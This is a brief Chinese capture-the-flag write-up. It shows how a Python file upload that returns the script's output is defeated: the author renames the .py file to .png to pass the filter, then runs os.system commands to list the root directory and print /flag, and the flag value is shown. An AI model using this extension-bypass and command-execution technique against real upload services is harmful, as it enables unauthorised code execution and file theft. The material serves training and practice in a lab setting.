首先打开题目:
网页的基本呈现结果:
首先查看网页源代码:
可以看到提示内容,需要我们上传一个py文件,并返回运行结果。所以首先编写python文件:
# file_name demo.py
import os
os.system("ls /")
尝试上传python文件,运行结果如下:
上传失败,尝试将文件名后缀改为png格式的:
再次上传:
上传成功!查看网页源代码:
看到一个关键词,flag,尝试输出flag文件内容,所以再编写一个python文件:
# file_name demo.py
import os
os.system("cat /flag")
将文件后缀名改为png后上传,发现上传成功,查看网页源代码:
自此,获得了flag,
flag{0294a71a97e63006fa0351202a0fa50a}
任务完成